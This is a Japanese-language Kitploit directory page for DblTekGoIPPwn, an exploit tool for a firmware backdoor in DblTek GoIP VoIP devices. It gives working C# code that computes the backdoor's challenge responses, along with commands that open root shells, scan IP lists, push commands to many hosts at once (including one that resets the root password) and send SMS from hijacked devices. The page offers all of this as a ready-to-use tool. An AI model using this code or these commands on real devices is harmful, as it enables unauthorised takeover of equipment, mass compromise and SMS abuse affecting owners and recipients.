Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/jacobmisirian/dbltekgoippwn
脆弱性スキャナーエクスプロイトペネトレーションテストコマンド&コントロールリモートアクセスツール
GitHubjacobmisirian/dbltekgoippwn

DblTekGoIPPwn

Tool to check if an IP of a DblTek GoIP is vulnerable to a challenge-response login system, send SMS messages from the system, execute remote commands botnet style, and generate responses to challenges.

リポジトリを見る
642616年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

DblTekGoIPPwn

脆弱なDblTek GoIPデバイスにおけるチャレンジレスポンスシステムを悪用するツール。指定されたチャレンジに対するレスポンスの生成、ホストへの脆弱性テスト、脆弱なホストでのコマンド実行、ホストからのSMS送信、および任意の脆弱なホストへのルートシェルの投入が可能です。

脆弱性について

2017年3月2日、Trustwaveはセキュリティ研究者がDblTek GoIP VoIP電話で発見した脆弱性を公開しました。この脆弱性は、'dbladm'というアカウントのファームウェアに組み込まれたバックドアでした。ユーザーがtelnetプロンプトでこのユーザー名を入力すると、システムはチャレンジを提示し、適切なレスポンスを返すと、ユーザーはシステムのルートシェルを取得できるというものでした。

このようなチャレンジレスポンスシステムの問題点は、デバイスの安全性がレスポンス生成アルゴリズムに依存している点にあります。このアルゴリズムは、DblTekが提供するファームウェアバイナリをリバースエンジニアリングして明らかになりました。このアルゴリズムを使用することで、任意のDblTek GoIPデバイスでルートシェルを取得できます。

元記事: https://www.trustwave.com/Resources/SpiderLabs-Blog/Undocumented-Backdoor-Account-in-DBLTek-GoIP/

上記の記事で説明されているバックドアの記述をもとに、私はこの脆弱性に対する初期のエクスプロイトコードの一部を作成しました。その核となるのは、もちろん、与えられたチャレンジに基づいてレスポンスを生成するアルゴリズムです。以下は、C#で記述されたその関数です。

root@kitploit:~
static string ComputeResponse(string challengeStr)
{
    int challenge = Convert.ToInt32(challengeStr.Substring(1)); // 'N'以降の数字のみを取得

    string modified = (challenge + 20139 + (challenge >> 3)).ToString(); // ダミーの1337操作を実行

    byte[] buffer = new byte[64];
    // 文字列をバッファの最初の部分にコピー
    for (int i = 0; i < modified.Length; i++)
        buffer[i] = (byte)modified[i];

    var md5 = MD5.Create();
    byte[] hash = md5.ComputeHash(buffer); // バッファのMD5を計算

    StringBuilder sb = new StringBuilder(); // 結果を保持
    // MD5の最初の6バイトをパディングなしの16進数で取得
    for (int i = 0; i < 6; i++)
        sb.Append(hash[i].ToString("x"));

    return sb.ToString(); // 完了
}

DblTekGoIPPwn コマンドラインインターフェース (CLI)

DblTekPwnを引数なしで実行すると、ヘルプが表示されます。以下がその出力です。

root@kitploit:~
USAGE: DblTekPwn.exe [MODE] [HOSTS] [OUTPUT]

[MODE]:
-c --compute-response [CHALLENGE]         指定されたチャレンジに対するレスポンスを計算します。
-r --root-shell                           脆弱なホストでルートシェルを起動します。
-s --send-commands    [COMMAND_FILE]      ファイルから脆弱なホストにコマンドを送信します。
-t --test                                 ホストをテストし、脆弱かどうかを判定します。
-h --help                                 このヘルプを表示して終了します。

[HOSTS]:
-n --name             [IP]                単一のIPアドレスを指定します。
-f --file             [IP_FILE]           IP\nIP\nIP形式のファイルを指定します。

[OUTPUT]:
-o --output           [OUTPUT_FILE]       出力ファイルを指定します。デフォルトは標準入力です。

使用例

脆弱なシステムでルートシェルを取得する

DblTekGoIPPwnを使用すると、脆弱なシステムで簡単にルートシェルを取得できます。脆弱なIPを指定して以下のコマンドを実行するだけです。

root@kitploit:~
DblTekPwn.exe --root-shell --name 192.168.1.1

次のような出力が表示されます。

root@kitploit:~
Password: ***********

ここからコマンドを入力できます(シェルプロンプトは表示されません)。

チャレンジレスポンスの計算

例えば、GoIPのチャレンジ N1746203308 に対するレスポンスを計算したい場合、次のコマンドを実行します。

root@kitploit:~
DblTekPwn --compute-response N1746203308

出力はレスポンスです。

root@kitploit:~
d6176d3aab2

IPリストの確認

list.txt に記載されたIPアドレスが脆弱なGoIPかどうかを確認し、結果を results.txt に出力したい場合。まず、IPアドレスが ip:port 形式(ポートのデフォルトは23)であり、改行 \n で区切られていることを確認してください。その後、次のコマンドを実行します。

root@kitploit:~
DblTekPwn.exe --test --file list.txt --output results.txt

list.txt:

root@kitploit:~
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323

results.txt:

root@kitploit:~
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False

ホストの後ろにある False または True は、そのIPが脆弱かどうかを示します。

IPリストへのコマンド送信

cmds.txt にコマンド(実際にはtelnet入力のリスト)があり、それを list.txt のIPアドレスに送信し、出力を results.txt に保存したい場合。まず、IPアドレスが ip:port 形式(ポートのデフォルトは23)であり、IPアドレスとコマンドの両方がそれぞれのファイル内で改行 \n で区切られていることを確認してください。その後、次のコマンドを実行します。

root@kitploit:~
DblTekPwn.exe --send-commands cmds.txt --file list.txt --output results.txt

list.txt:

root@kitploit:~
192.168.1.0
192.168.1.1
192.168.1.2:1337
192.168.1.3
192.168.1.4:2323

cmds.txt:

root@kitploit:~
passwd root
toor
toor

exit

results.txt:

root@kitploit:~
192.168.1.0 False
192.168.1.1 True
192.168.1.2:1337 True
192.168.1.3 False
192.168.1.4:2323 False

ホストの後ろにある False または True は、接続が正常に確立され、コマンドが配信されたかどうかを示します。

DblTekPwn.SMS ライブラリの使用

このGitHubリポジトリのコードは、ハッキングされたGoIPからSMS(テキスト)メッセージを送信するための抽象化を提供します。このコードを使用するには、アプリケーションに DblTekPwn.exe を含め、次の using ステートメントを追加します。

root@kitploit:~
using DblTekPwn.SMS

これで、コード内で静的な SmsSender.SendSms メソッドを使用できます。以下にいくつかの例を示します。

単一番号から単一番号へのSMS送信

root@kitploit:~
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hello, World!";
SmsSender.SendSms(goIP, 23, nums, msg);

複数番号から単一番号へのSMS送信

ほとんどのGoIPは最大32枚のSIMカードを搭載しており、ハッカーはこれらの回線すべてからSMSメッセージを送信できます。

root@kitploit:~
string[] nums = new string[] { "18005551234" };
string goIP = "192.168.1.3";
string msg = "Hai";
int numbers = 15;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);

複数番号から複数番号へのSMS送信

root@kitploit:~
strings[] nums = new string[] { "18005551234", "18005554321", "18005551337" };
string goIP = "192.168.1.3";
string msg = "We are legion";
int numbers = 32;
SmsSender.SendSms(goIP, 23, nums, msg, 1, numbers);
ツールをダウンロード